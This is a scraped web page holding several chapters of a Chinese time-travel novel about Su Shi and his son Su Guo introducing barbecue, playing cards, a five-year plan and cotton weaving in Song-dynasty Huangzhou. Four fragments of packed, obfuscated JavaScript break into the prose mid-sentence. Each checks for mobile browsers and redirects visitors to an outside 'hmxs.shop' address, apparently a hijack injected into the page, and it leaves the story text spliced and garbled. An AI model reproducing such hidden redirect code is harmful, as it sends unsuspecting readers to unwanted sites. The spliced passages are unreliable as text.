l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16645801|184447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 没过多久便到旬休，苏轼趁着休沐呼唤了一大群朋友，连徐知州和对江的王氏兄弟都叫过来了。 毕竟他可是听苏过说的要开什么烧烤趴踢，人多才好。 见这么多人来往，附近邻居还以为苏家办什么事，问了才知道只是东坡居士搞聚会。 不愧是黄州名人，这来往的都是文人墨客，看着就很斯文的样子，一定是在举办文会吧。 但不久他们就发现，本来以为办文会的苏家，竟然传出来一阵阵香味，很是诱人。 而他们想象中斯斯文文的客人们，正一个个挽着袖子，在烟熏火燎的篝火面前大汗淋漓的烤着肉。 因着是休沐，苏轼起的并不早，本以为会看到一个忙忙碌碌的苏过。 毕竟这么多人的饭做起来可不容易，一般这个时候苏过都会在厨房安排，甚至动手炒几个的。 没想到竟直接在书房看到写写画画的苏过。 “你没在厨房么？” 苏过看向老爹，忙将手中笔放下，“没有呀，菜都已经备好了，就等大家过来啦。” “这么快。”苏轼很惊讶，正准备走到苏过面前看看他写的啥，苏过却飞快起身，拉着苏轼就往门口走，“爹你快去吃饭吧，咱们午饭简单吃点，下午留肚子吃烤肉。” 见苏过遮遮掩掩，苏轼从善如流的走出书房，毕竟自己的儿子再清楚不过了，等到忍不住的时候，肯定会巴巴儿的自己拿来给他看，不急于一时。 午后客人们就陆续到了。大家都以为自己赴的是一场曲水流觞般的雅宴。结果到苏家后，被引往后院，竟然看到好几个炉子，上面架着比较奇怪的铁架，炉子里面已经烧好了碳。 所以这烧烤，是要自己从头开始烤的么？ 见人都到的差不多，苏过直接在一个炉子上给大家示范烤肉的方法。 本身也很简单，蔬菜和肉已经被穿成串，提前腌制好了，调料也是现成的。无非是大家自己选了爱吃的放到铁架上烤，刷上喜欢的口味，主要烤熟又不要烧焦就好。有调味料打底，不会难吃到哪儿去。 这铁架还是苏过提前找城里铁匠打造的呢，受热均匀，很适合烧烤。 刷刷几下，苏过就演示完一遍用法，一切材料都就绪，大家便三三两两各选了个炉子开始烤制起来。 一开始纷纷有烤焦的，也问题不大，毕竟自己动手的东西，挑挑拣拣也能吃。稍微过了一会儿掌握技巧后烧烤就变得十分简单。 大家按自己的喜好进行烧烤，都觉得十分好吃又好玩。 就是炉火旁边有点太热，这种快入冬的天气都烤的人有点冒汗。 于是后面烧烤的主战场就交给一些年轻的朋友们。年纪大一点的就坐在旁边聊天吃串儿。 苏过布置好了一片休息区。 大家吃吃喝喝，不久就有点吃饱，速度慢下来了。 苏轼问苏过，“除了烧烤你还安排了别的么？大家都要休息休息才能继续吃了。” 那当然有安排咯，吃吃喝喝还要玩才能乐呀，怎么能少了聚会神器。 苏过拿出一把纸牌。 “大家吃饱了，就让我们来动动脑，一起玩扑克吧！” 47. 第 47 章 苏过拿出了一把名叫扑克的纸牌。 苏轼一看，正是早上苏过写写画画的东西。 上面内容和图案十分简单，一共四种颜色和花纹，再搭配数字和字符，配成不同牌面。 道具基础，玩法就不基础。 大家围着听苏过讲规则。然后四个人一组开始练习。 时间紧迫，苏过一共也只做了两副牌。没玩上的就坐在旁边看其他人玩。 苏轼也算是往来无白丁的人，大家很快就理解了规则，前一两局还玩的有点磕磕碰碰，但很快就顺畅起来，大家战意渐浓。 旁边观战的人都一个个看的十分激动。 大家烤肉也顾不上吃了，轮换着玩到天黑，最后吃了一点宵夜，纷纷告辞回去。 苏轼送别好友，正遇上安排收拾完后院的苏过，“你这扑克是什么时候研究的？” “啊，就...突然想到的，感觉很适合聚会玩来着。”苏过解释道。 苏轼用怀疑的眼神看了他一眼，“看来时间还很空余嘛，还以为你忙着学武都没空写文章呢。” 苏过心虚低头。 老苏于是带着苏过去书房，“让你写的文章写好了么？” “写好了。”苏过将自己准备充分的游记拿出来递给老苏。 苏轼接过，竟然厚厚好几张纸。 打开一看，本来苏轼以为自己会看到一篇诗赋，毕竟经过这几年的练习，苏过在写这类文章上面已经小有所成。 却没想到交上来的这一篇和他想象的完全不一样。 开头倒是和他之前的《赤壁赋》一样写了写自己的游记，还联想到了赤壁之战。但随之一转就是新的一篇，大意概括就是，曹操赤壁之战输给周瑜固然可惜，但人家儿子争气，还不是当了最后赢家，一统三国，被追封皇帝。 就是有点可惜，放走了刘备又没能处置司马懿，各种埋雷，打得那么辛苦不说，好不容易统一的江山，一代就没了。还杀掉华佗，自己没人看病，儿子曹冲也早早夭折。 要是重来一次，好好做五年规划，那绝对可以五年内富了魏国，十年内统一三国。 中间还列举了三国各自的人口、粮产和战力对比图。十分明显的对应到了每一次关键节点和决策对三者的影响。 整篇文章，无论是内容还是形式，都让苏轼看的一会儿皱眉一会儿舒展。 这篇文章，内容太跳脱，格式倒是很有意思，而且内容也值得思考，“什么是五年规划？” “字面意思，就是对未来五年的规划。名人有言，一艘没有目标的船，任何方向的风都是逆风！所以小到个人，大到一州一府甚至整个朝廷，都要提前规划，为所有人的生产和生活指明方向。”见亲爹十分感兴趣，催他继续讲下去，苏过干脆拿起纸笔，给老苏画示意图。 “一份规划包括政治、军事、文化、经济方方面面，通过充分调研和评估，再经过讨论与批准，作为最后规划实施的准则。”苏过将许多名词尽量换成适合现在的内容讲述出来。 毕竟这是一个经过实践，完全可以作为治国手段之一的成熟理论。光是流程设计都十分复杂且具有合理性。但咱们现在还上升不到那种高度，大致理解即可。 关键点就在于提前规划，定义细节，指导方向，规避风险。 饶是只讲了个框架，也废了苏过许多口舌。 苏轼听完若有所思，“这些方面列下来倒有些荆国公新政的影子了。” 苏过连忙摇头，“非也非也，一个是政策，一个是框架。就像一个漂亮的瓶子，拿来装新酒旧酒都可以。” 他可不想这么好的方法被卷进党争的漩涡里。虽然若想好好实行一个规划，从制定到落实，都需要一套既有前瞻性又有执行力的领导班子。这个也算是王安石变法想要达成的目标之一。 至少目前的北宋是做不到的，苏过也不希望立刻就以卵击石去搞什么创新。 苏轼作为一个新党旧党之间的实际中立派，一直也很客观的明白这里面利弊。 所以听到这个规划方法时，才会一下子明白其中奥妙，又很能理解其实施难度。 不过，也不必这么悲观。北宋咱们管不了，但黄州还是可以一试的。 “那黄州是不是可以搞一个五年计划出来。”苏轼点了点图纸。 毕竟这两年里，他们已经做了许多事情，比如已经很有成效的堆肥和套种，还有正在推广的种茶与土豆，以及还没有推广的棉花种植等。还有修堤坝等，都是接下来几年的重心。 不过徐知州的任期只剩不到一年，做这种规划最担心的就是继任者不能很好执行，虎头蛇尾就很可惜了。 “咱们先把规划做好，再将框架搭完起个好头，继任者只要不是个傻的，肯定不会将到手的政绩往外推。”苏过倒是不太担心这件事。毕竟他们要做的也不是什么颠覆性的改革，都是实实在在可以落实的利民政策。 既然决定要做这件事，那就肯定要往好了去规划。 于是苏过又喜获功课一份。列出黄州第一个五年规划的大框架与流程。等老苏和徐知州聊好后，大家再来商定细节和安排执行。 行叭。 苏过对这个任务还是不怎么排斥的。毕竟，他都立志要做些真正利国利民的事了，那早几年开始实践也是挺好的。而且他还真有许多想法可以借着这个机会来安排落实掉。 接下来的几天里，苏过可以说是废寝忘食，除了跟着巢谷学习的时间，几乎都投在了这本计划书上。终于在几天后完成了第一版计划书，老苏检查后又补充了些，两人一起去找徐知州。 徐知州正在查看汇总上来的今年收成情况。 如今即将入冬，各种作物，即使是补种的，也基本进入了收获期。各家各户都基本结束了今年的农忙。幸好有苏过后来提供的土豆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16655099|184447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种子，产量着实是高，而且食用方便味道好，还饱腹感强，极大弥补了今年粮食不足的问题。家家户户也算是有足够的余粮过年。 见两人过来，徐知州还很是惊奇，“过哥儿好久没来府衙了，倒是稀客。” 苏过很不好意思，想当初苏轼成天跑府衙，他还亲自到这边吃瓜来着，结果发现是和徐知州下棋，“不敢随意叨扰。” 苏轼呈上计划书，“大人，这是过哥儿近日提到的一个新想法。” 徐知州接过。本以为是跟以前一样是某项生意计划或新政策。接过打开一看，厚厚一本，竟然罗列了方方面面的想法。 从兴修水利修建堤坝这种基础建设，到耕地规划，选种育苗，新作物推广的农事，再到茶叶药材等经济作物的对外宣传，这份计划书都有提及，每项政策列出关键节点与时间计划。当然，就这么几天，苏过也不可能每件事情都搞清楚流程还作出计划，许多只是列了格式提前占位。倒是十分契合五年的规划节点。甚至还列了个最后两年兴修府学的计划。 要知道黄州这边地处偏僻，虽然一直也有府学，但学风不盛，规模也不大。至少苏轼就是不放心让自家孩子去府学的程度。 倒是有一条让徐知州很是疑惑。棉花的种植推广在农桑计划里面占了很大一部分。除了基础的棉衣棉被外，苏过还计划做棉布，号称可以带来极大的经济效应。 棉布他倒是听说过，主要是边疆地区有生产，中原地区只有少数贵族会使用当个稀奇。这种精贵东西，他们能生产出来并且大量供应？徐知州有点担心。 于是苏过详细给他讲了讲自己准备改进优化的各种流程，以及正在改良的工具。可以从采摘、去籽、弹棉花和纺织各个方面提升效率。 当然，这些工具，苏过还需要仔细回忆回忆画出草图，再找能工巧匠一起打造和优化做出成品。 这个时间就有些不可控了。不过除了纺织机之外的东西，构造都十分简单，苏过有信心很快可以破解出来，极大提升黄州的棉花生产效率。 徐知州边听边点头，思虑很是周全了。“此事涉及甚广，我会叫上孟通判一起好好研究。” 苏家父子两人听了连忙点头，彼此再寒暄了一阵，告辞回家去。 毕竟这份计划只是粗稿，肯定要本州的一二把手好好商讨达成一致后才能执行。 另外老苏虽然勤勤恳恳又能力出众，但这么大个计划，肯定不会给他一个人做。老苏作为人民偶像肯定是受欢迎的，但在专业的事上还需要群策群力了。那别的安排也需要早早做好。毕竟徐知州自己也知道任期不久，一切都要尽快安排妥当。 徐知州和孟通判商量好后，规划的各项任务都被安排了下去，大家纷纷集思广益，将计划细节补齐。 而当冬日渐寒，整个五年规划已经被补充的像模像样，府衙都要封笔休假时，苏过研究的机器也织出了第一匹棉布。 48. 第 48 章 本来今年是要在黄州推广棉花种植的，但年中遭了洪灾，补种粮食都来不及，棉花什么的自然排不上队了。不过苏过还有些存货。老苏的试验田里也有一些收成，拿来实验各种棉花设备还是足够的。 如今麻和丝的纺织发展已经初具形态，纺车也从手摇改成了脚踏，效率有一些提升。但基本还处于人力和家庭作坊状态，算不上高效。提升效率和解放人力什么的苏过有些思路方向，但现在还在初期，最重要的是将纺车改的适合纺棉线。 毕竟苎麻的纤维可比棉花硬太多了，纺车不改良的话，棉线分分钟被扯断。所以对机器的精细度和各种牵引力设计都要针对性调整。 还好古代的能工巧匠们是很给力的，稍微有个思路指引，很快就能不断调整试出最佳方案来。 还有织机也是如此，经过改良，大家终于在年前织出了第一匹棉布。 虽然没什么花纹，颜色也是普通的白色，但这种柔软的质感还是让大家十分惊喜。 趁着未封笔，苏轼和苏过带着棉布去找徐知州，顺利为棉花的推广追加了更多资源。 毕竟目前已经做的改良只是第一步，为了尽快做出成品，前期棉花去籽和弹棉花的机器苏过都还没有改良。 按黄道婆后来总结出的经验，从棉花摘下来，去籽、弹棉花、纺线、织布都有针对性的机器工具。而且现在的纺车多为单锭，效率太低，如果改成三锭就能同时纺三根线了。还有棉布也能在织布时做出各种花纹与配色。林林种种，十分繁杂。苏过也只能尽量为大家提供思路。毕竟系统没有刷新出什么图纸，没办法直接给工匠们参考。 要苏过说，他最想实现的还是解放人力，咱们直接上水力纺车，毕竟黄州水力资源还是很丰富的，直接工业化，多好呀。 但一口吃不成大胖子，才第一个五年计划呢，慢慢来。 相信用不了几年，棉纺织业会成为黄州另一个支柱产业。 徐知州对苏过描绘的未来十分憧憬。虽然新的任命还没下来，但他已经知道自己再过几个月就要离开黄州。 趁离开之前，他也想为这里再多做几件事。 目的达成，苏家父子也不久留。苏过给徐知州留下一些家里新做的不辣的腊肠，两人便告辞回家。 接下来就是新年假期了。又一年过去，苏过的系统没能再升一级，毕竟之前花光了满意值兑换土豆种子补种，而最近，攒了小两个月，苏过又将大部分满意值换成了土豆，托人给汴京的狄云送去。 前段时间收到狄云的来信，他已经回家哄好了清河郡主，但狄咏那边还是不肯松口，需要粮种作为突破。 对于好兄弟的梦想，苏过肯定要大力支持啦。花点满意值算什么。 而且随着白糖还有奶茶生意在汴京的发展，他每天积攒满意值的速度已经很快了。慢慢来，满意值该花花，升级什么的不急于一时。 出府衙后，父子两人没急着回家，而是沿街一路逛到西市。 临近春节，采购年货的人多，几乎每天集市都很热闹。 看着路边卖货的摊贩和街上采买的百姓脸上都挂着笑容。节日的氛围才愈发浓厚起来。 希望等他们的五年计划好好执行下来，黄州百姓们的生活能真正变得富足。 挑拣着买了些山货，刷老苏的脸又被送了许多添头。两人兴致甚高的回家。 接下来是长长的假期，王氏忙着准备过年一应事宜，老苏照例和各种朋友聚会游玩，带着秦观与巢谷一起，连徐知州都不时参与。倒一下子让苏过闲了下来。 毕竟巢谷不是那种鸡娃的老师，主张劳逸结合，断没有自己出去玩给学生布置一堆作业的道理。然后老苏又将课业委托给老师，他只负责抽查，如今更是连老师都拐跑了。苏过自然闲了下来。甚至年夜饭都有这几年跟着他手艺愈发出色的钟婶安排。于是苏过彻底进入猫冬模式。 每天在暖炕上看看书，再写写信。主要是跟狄云讲一讲他在黄州搞的五年规划，各种设想。 毕竟他朋友不算多，能说这些的就更少了，大约也就狄云一个吧。 更重要的是，苏过每次想到洪灾时，狄云难过的脸，就觉得他应该会很乐意听到这些。 当然，除了这个，可以顺便问问他的从军进展。毕竟看起来那也是个持久战来着。 随信附上几个食谱，不知道回到汴京的狄云有没有吃好休息好。 远在汴京的狄云，倒也和苏过设想的差不多，正在为去边境拼命努力。 临近春节，狄咏回了汴京和家人团聚。 对于女儿离家出走半年的事，自然是生气又自责。在庆州时，狄咏都设想了好多遍回来后要好好教训女儿。 但真的回来后，见到女儿倔强的眼神，又舍不得重罚了。毕竟他和清河郡主成亲多年一直没有孩子，狄云还是他们从大哥狄谘那边从小抱养的，这么多年，和亲生女儿无异。 女儿天生神力聪明过人，狄咏虽然感叹过为什么不是男儿身，但也是在武艺方面悉心教导，大约正是如此，女儿才会对从军如此有执念。他又怎么舍得苛责呢。 只是军营真的不是适合女性待的地方，“到处都是一群糙汉，喊打喊杀。西夏那边更是时不时犯我边境。这种情况，你若过去，我和你娘如何放心得下。” 不得不说，虽然狄云不是狄咏和清河郡主的亲生女儿，但三人的颜值都是一顶一的高，倒真的像一家人。 美人总是让人心软的。狄咏舍不得对狄云说重话，现在狄咏轻皱眉头，对狄云坦陈自己的担忧，狄云又哪里好再反驳，说自己不管怎样都要去庆州呢。 什么糙汉郡人，真打起来还不一定打得过她。 不过狄云也记得之前跟苏过商量好的对策，这事不能莽，得迂回着来，于是对她爹说道，“女儿也不是要去前线添乱，只是想为将士们做些事情罢了。这段时间我在黄州，发现他们那边在种的一种叫土豆的粮食，十分适合庆州种植还产量奇高。我朋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16663589|184447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 友过段时间会送种子过来，我去庆州正好可以安排种植，增加屯田，到时候将士们的粮食就有保障啦。” 狄云对父母说道，又承诺，“我只在后方学习，整顿后勤，又不去前线，不会有危险的。” 狄咏虽然很想说他可以安排其他人负责种植一事。但看着女儿期盼的眼神，这粮种又是她找朋友要来的。 算了算了，既然想去，那就去体验一下吧。于是答应了狄云。 当然，这时的狄咏也没想到，狄云这一去会给庆州、边境、乃至整个宋朝带来怎样的改变。 此时的他们都还只是在慢慢摸索和成长的少年/少女而已。 悠闲的日子总是过的飞快。苏过感觉自己还没躺多久，春节假期就结束，老苏恢复上衙开始了忙碌模式。 而他，也顺带着被安排了许多事情。 没办法，五年规划苏过可搀和了不少，尤其是棉花产业的整个设想细节都是他在处理。如今各项政策考察完毕，马上就到春种时间，一切安排都要落实，怎么能落下这个熟练工呢。 别管有没有编制，是不是小孩儿，做事就完了，毕竟提出建议的时候，咱们也没有以年龄来轻视。 这边要干活儿，那边还要继续跟着老师学习，苏过一下子忙的脚不沾地起来，十分鄙视前段时间吐槽太闲的自己，让你不好好珍惜！ 忙忙碌碌过了春耕，徐知州收到调令，不日就要前往湖南任职。而黄州，又即将迎来一位新知州。 这在苏轼他们的意料之中，但这一天真的到来时，还是十分不舍。 这三年来，几乎每逢节日，老苏和徐知州都会携酒共饮，合作诗词。不止两人关系好，苏家和徐知州家也时常往来，两家人关系十分亲密。 在苏轼还是犯官的时候徐知州就敢于用人，让老苏做出许多政绩。而他自己也是一位勤俭爱民的好官。于公于私，对这位知州大人，苏家都很感激。 苏过在心里感慨，幸好之前早早让辩才法师给徐知州治好了隐疾，之后也有好好调理。这回应该不至于上任途中就去世吧。 刚好端午，新任知州杨寀便抵达了黄州。众人一起为徐知州送别，也为杨知州接风。 许多朋友都来道别。宴会上老苏还为安国寺的凉亭取名“遗爱”用以纪念徐知州。本来徐知州想请巢谷写一篇小记的，毕竟这一年处下来，徐知州很是认可巢谷的才华。结果他老师太谦虚了，十分推辞，老苏只得亲手提笔又写下一作。 不过凉亭什么的都还不是大事。徐知州即将离任，他和老苏担心的也是他们刚弄出来的五年规划在杨寀这边能不能好好继续搞下去。毕竟，这是真的有益于百姓的实事。 就在大家正斟酌如何提及此事时，苏过领着人端着好几盘香喷喷的东西上来了。 一看，里面放着土豆和鸡肉。这两样东西如何做的这么香气逼人的？ 未及细问，苏过便开始介绍，“来，大家尝一尝，刚刚出锅的炸鸡和薯条。” 49. 第 49 章 苏过记得老苏在黄州遇到的几任知州人都很好，对于后面工作的开展并不十分担心。 但，人好和真正认同是两码事。所有人只有认可并且喜欢的事情才会投入满满的热情。 一个领导，批准和大力支持之间差别还是很大的。 苏过自然要想办法让新来的杨知州尽快了解到他们所做之事的意义。 计划详情，阶段性数据已经都准备好了。但开胃菜肯定要有，有什么能比他们正在推广的美味土豆更能打动新任知州的胃呢。 薯条炸鸡，高热量食品，新鲜的口感，扑鼻的香味，正适合作为突破。 现在还没有番茄，没办法做出酸甜的番茄酱，但苏过特地准备了椒盐，洒在薯条上，也别有一番风味。 大家纷纷拿起薯条，刚出锅不久，口感还比较脆。土豆本身的香气被油炸激发，混着调料，让人吃的一根接一根。 鸡腿和鸡翅也很新鲜，表面裹了一层脆脆的酥皮，咬开里面鸡肉又汁水充沛，好吃不柴。 这年头大家做菜都不舍得放许多油，油炸食品更是少见。 这几盘炸鸡薯条，又是油炸，又是新奇做法，可以说buff叠满。后世可能还有些人会嫌弃是快餐食品，这会儿简直不要太奢侈，大家都十分喜欢。 杨知州尤其喜欢薯条，“这就是那土豆做成的么？” 苏轼拱手回答，“正是，去年黄州洪灾，正是补种此物，才免了百姓饥荒。今年全州境内，也有进行大面积种植。” 杨知州听了很是高兴，“如此看来，高产又美味，倒是神物了。” 苏过也补充，“自然美味，若知州大人喜欢，我可以给府上厨子留上几份食谱，都是土豆的各种做法，样样都好吃。” 杨寀虽然不是一个重口腹之欲的人，但有美味当前，自然不会拒绝。“那就谢过苏小郎了。” 刚来黄州没几天，但与徐知州交接时，他已基本了解这边情况，更是从徐知州口中时常听到苏家父子的事迹。 本身对苏东坡他就慕名在先，如今更是对苏家父子都很有好感。 接风宴后便直接留两人下来，将各项事宜详细了解了一番。 苏轼和苏过自然不会拒绝。 几人商谈到夜深方散。 不过也好，这之后对于各项事宜杨知州都十分配合，并且他也是个有心做出政绩的人，这么大好的局面怎么舍得破坏。 众人齐心协力之下，无论是粮食种植还是茶叶棉花，都推广迅速。 今年也十分幸运，天气甚好，黄州一点洪水迹象都没有。 苏轼组织了许多人，清理河道，加固堤坝。又趁着非农忙时节修了许多新沟渠，既方便灌溉，来年若是涨水，也是一种疏导引流。 苏过平日里除了学习与练武外，还继续忙着改良棉花纺织机器。水力机器什么的暂时还没办法搞出来，黄州这边毕竟经济基础薄弱，无法实验大型机械。但脚踏三锭纺车已经顺利做出来，黄州许多人家都弄了一台。家里男丁忙着农活，妇女们便在家里纺线织布。 织出来的线和布，只要质量达标的，有专门的商行直接来收。对百姓来说，这就是再好不过的一个进项了。 这个专门的商行，自然也是苏过弄出来的。 他倒没功夫自己做这份生意，但王家侄子可是做行商的专家，棉布本就紧俏，和白糖一样的营销套路，简直信手拈来。就连京城都有蔡庄帮忙，可以说是风险低，利润高。 当然，初期的利润不算很大，毕竟苏过定了条件说要最大限度回馈百姓，不能让他们赚辛苦钱。无论是棉线还是棉布，回收的成本价都是不低的。 当然，这也是为了进一步鼓励更多人投入到纺织里面来，他们的棉布生意才能做的更大。高利润，有人托底，没啥风险的事，自然会更快传播开来。 重赏之下，甚至有手巧的，通过不同的经纬线织法，直接织出了条纹布与格子布，虽然花纹还比较简单，但已经是很大的进步了。 黄州这边一片欣欣向荣，远在西北的庆州却情况比较复杂。 之前狄云以土豆为由头，终于争取到了去庆州的机会，春假一过便跟着狄咏出发了。 庆州位于泾河上游，是环庆路的中心，其所在的董志塬是黄土高原上最大、最平坦的塬面，号称“天下黄土第一原”。这里是非常适合发展农业的，也正因如此，这些年来，庆州一直是西北军重要的后勤基地。屯田政策在这里一直都有实施，为驻军提供了大量粮草。 这里还是边境一个重要的贸易枢纽，茶马互市等重要物资集散地。从关中平原通过泾河河谷运来的补给，也源源不断汇集于此。 不仅如此，庆州在战略上也属于关键地区。之前神宗让沈括他们研究的衡山地区作战就是在这一带，可以说是北宋跟西夏反复争夺的地盘。 为了保住庆州，朝廷在外围大量增修堡寨，还修了许多防御的小城池，不仅驻守了禁军，还有许多归附的少数民族部落组成的番兵。 这里可以说是鱼龙混杂，危险重重。 危机不止来源外部，还有内部。熙宁四年的时候，就因为士兵们被频繁调动去修城还有作战，直接爆发了兵变。虽然很快被镇压，还是给庆州地区带来了极大的阴影。至少神宗和当时还当权的王安石就决定改变策略，将重点发展的环庆路转向了熙河路。 上面的压力转移后，庆州的繁华程度瞬间被降级，但这也不是没有好处，至少这一带的将士们得到了一些休养生息。 当然，这也只是相对的。作为与西夏接壤的地区，这里永远少不了战争和混乱。 这也是狄咏一直反对狄云过来的原因。条件艰苦，势力复杂。 但狄云并没有在怕的。庆州虽然农业条件相对优越，但这个也只是相对，整体粮食产量不够，种植难度大。无论是汉军还是番军，都很头疼这个问题，毕竟无论多少兵马，粮草永远是第一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16667651|184447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步。 狄云带来的不仅是土豆，还有苏过给他整理的许多行之有效的堆肥方法。 这样一来，他们不仅可以增加高产、好种植的土豆，别的作物相信产量也能有很大的提升。 赶在春耕前，狄云抵达庆州，安排将土豆种了下去。 五路伐夏失败后，狄咏被升为环庆路总管，作为总管的孩子，哪怕年纪尚小，想要插手种点作物还是完全不值一提的。 为了便于行事，狄云来这边是直接继续扮成男孩的，狄咏对外也直接说带的儿子过来。毕竟除了京城的官员，极少有人知道狄家到底有几个孩子，是男是女。 安排好了土豆种植以及其它策略，狄云便开始研究庆州情况。毕竟，种地只是敲门砖，来这里，她可不只是想做后勤。 内部混乱，外敌入侵，都没关系，她会步步为营，把这些都变成西北最坚固的防线。 不过在这之前，她还是需要韬光养晦，先做好后勤，再徐徐图之。 至于怎么做好后勤，对她而言，就不如军事上擅长了。于是狄云将所有情况都写到信里，准备让苏过一起看看出出主意，他和苏轼在这方面可厉害了。 苏过自然不会吝惜给好朋友出主意，甚至还拉上苏轼和老师巢谷一起贡献力量，为狄云出谋划策。 不仅地要种，增加粮食产量，还要团结那边少数民族一起种。之前的兵变，繁重劳作是一个原因，另一个就是朝廷对番兵以照顾安抚为主，待遇比起汉兵可是高了好几个档次。大家都是一起种田打仗的，待遇不一样，那可不闹心么。 对此，苏过也没想过要让狄云去努力完全拉齐待遇。毕竟千年后都还有少数民族加分呢，优待肯定还是要优待的。只是咱们不能太区别对待，大事上保持一致，小事上多加照顾。 比如，地可以一起种，粮种也可以分享，那其它方面就不要搞小团体了。饮食习惯、作战训练，都划拉到一起呗，这也方便增加彼此之间的了解和感情。 吃不到一起没关系，苏过好多食谱，比如土豆的二十种做法什么的，分分钟让你不管什么民族，都能找到喜欢的。 在这样的反复交流中，狄云在庆州那边愈发处事得当，让狄咏很是惊喜。 而苏过他们也在出主意的过程中总结出了许多普适性的经验，十分具有价值。 临近年底，杨知州直接让苏家父子将这一年的成果进行了总结。整个黄州，从农业到商业都有了质的飞跃。百姓们脸上多了发自内心的笑容，今年又是丰收的一年，大家过的十分舒心。 苏轼将这些成果总结成了《黄州经验》，他也是当过好几个地方官员的人，自然知道这样一份既有特色，又有普适性的经验是多么难得。 跟随着苏轼和杨知州的述职折子，这本《黄州经验》经过层层传递，也递到了宋神宗的案前。 于是年后不久，苏轼就收到了新的旨意。 升苏子瞻为登州知州，择日赴任。 50. 第50章 听到升职的消息，苏过比苏轼可兴奋多了。 登州知州诶，要知道老苏在乌台诗案之前就是湖州知州，如今这道旨意一下，可以说是约等于官复原职了。 登州位于山东蓬莱，也就是现在烟台那块儿，与辽东还有高丽等地隔海相望，属于北方海防重镇。 这地方矿产丰富、农业发达，还是港口城市，甚至因为靠海，制盐产业也是一大支柱。盐、铁、海运，桩桩件件，都落在经济命脉上。这样一个地方，重要程度不言而喻。 而且登州还有什么出名呢，金子！ 好多好多金矿，每年的开产量占了北宋全国黄金产量的一半，名副其实的“金城天府”。 到这样一个地方去当知州，光是想想，苏过都觉得美滋滋。 更重要的是，神宗不但恢复了老苏的官职，还一下子安排这样一个地方，完全就是明牌说要继续重用。 对于一个顶着“旧党”成员身份的人而言，这是非常难得了。 相比之下，苏轼就显得淡定很多。 毕竟他也是当过知州的人，这些都是小场面。经历过被贬黄州后，他的心态已经变化许多。 曾经的老苏可能锋芒毕露之下还会有一些孤傲的脆弱。在经历了冷暖与沉淀后，什么官职呀，虚名呀，都无法再影响到他半分。 无论在什么位置，尽最大力，能做多少事就做多少事。无愧天地，无愧于心。 这是大江东去浪淘尽后的从容，是一蓑烟雨任平生的洒脱。 当然，老苏还是那个老苏，屈服是不会屈服的，管他新党旧党，他只做自己认为对的事。 这种心态下，别说升任登州知州，就是立马召他回京城，也是一样的淡定。 “爹你就吹吧，要不是章伯伯提前给你透露，才不信你能这么淡定！”苏过见不得亲爹故作深沉的样子，拆穿他道。 “事实如此，有没有提前知道都一样。”苏轼自然不肯承认。 提前知道怎么了，就算真的突降圣旨，他肯定也是一样冷静。 虽然他是真的有提前得到消息。 这几年老苏一直有和章惇书信往来。之前章惇还会来信吐槽老苏不好好干活，辜负他们当时的约定，被苏轼以英雄无用武之地给糊弄过去了。 估计是不想给老苏任何借口，章惇在京城一直致力于帮苏轼刷存在感争取功绩，好安排官职认真干活，不能再偷懒。 之前黄州小刊在神宗面前露了脸，就是他为老苏陈情。虽然被西夏的战事分了心神，暂时搁置。但刷脸就是这样，时不时一个消息，再有人经常提起，自然更加简在帝心。这才有两年前苏轼被恢复实差。 章惇在京城也是步步高升，官至副宰相，和蔡确两人几乎是朝中实际的一二把手。宰相王珪都没他俩有存在感。 作为天子近臣，帮好友邀功不是理所当然？更何况就算他不提，官家也成天念着老苏呢。 年前他就来信催苏轼赶紧整理整理这两年的功绩，眼看着官家是有点想法，就差合适的台阶了。 这不，才刚过完年不久，就收到升职的消息了。 显然是十分顺利。 也正常，毕竟黄州这边政绩是实打实的。朝中有章惇盯着，就连蔡确也态度暧昧，甚至推波助澜呢。毕竟人家儿子和苏家关系也算密切。 新党两大头头都认同了，别的人再怎么蹦跶反对也掀不起风浪。更何况就黄州的这些经验，你要硬说它们与新政不符，那也说不出口呀。 于是苏轼去登州的任命就这样顺利的定下，并快马加鞭送了过来。 即将离任，苏轼有好多事情要交接处理呢。五年规划才刚走完第一年，绝不能虎头蛇尾，于是接手人选与各项安排都要十分费心。 还有黄州的一众好友，即将分别，更要好生聚一聚。 不止这些，知道苏轼即将离开，黄州的许多百姓都十分不舍。 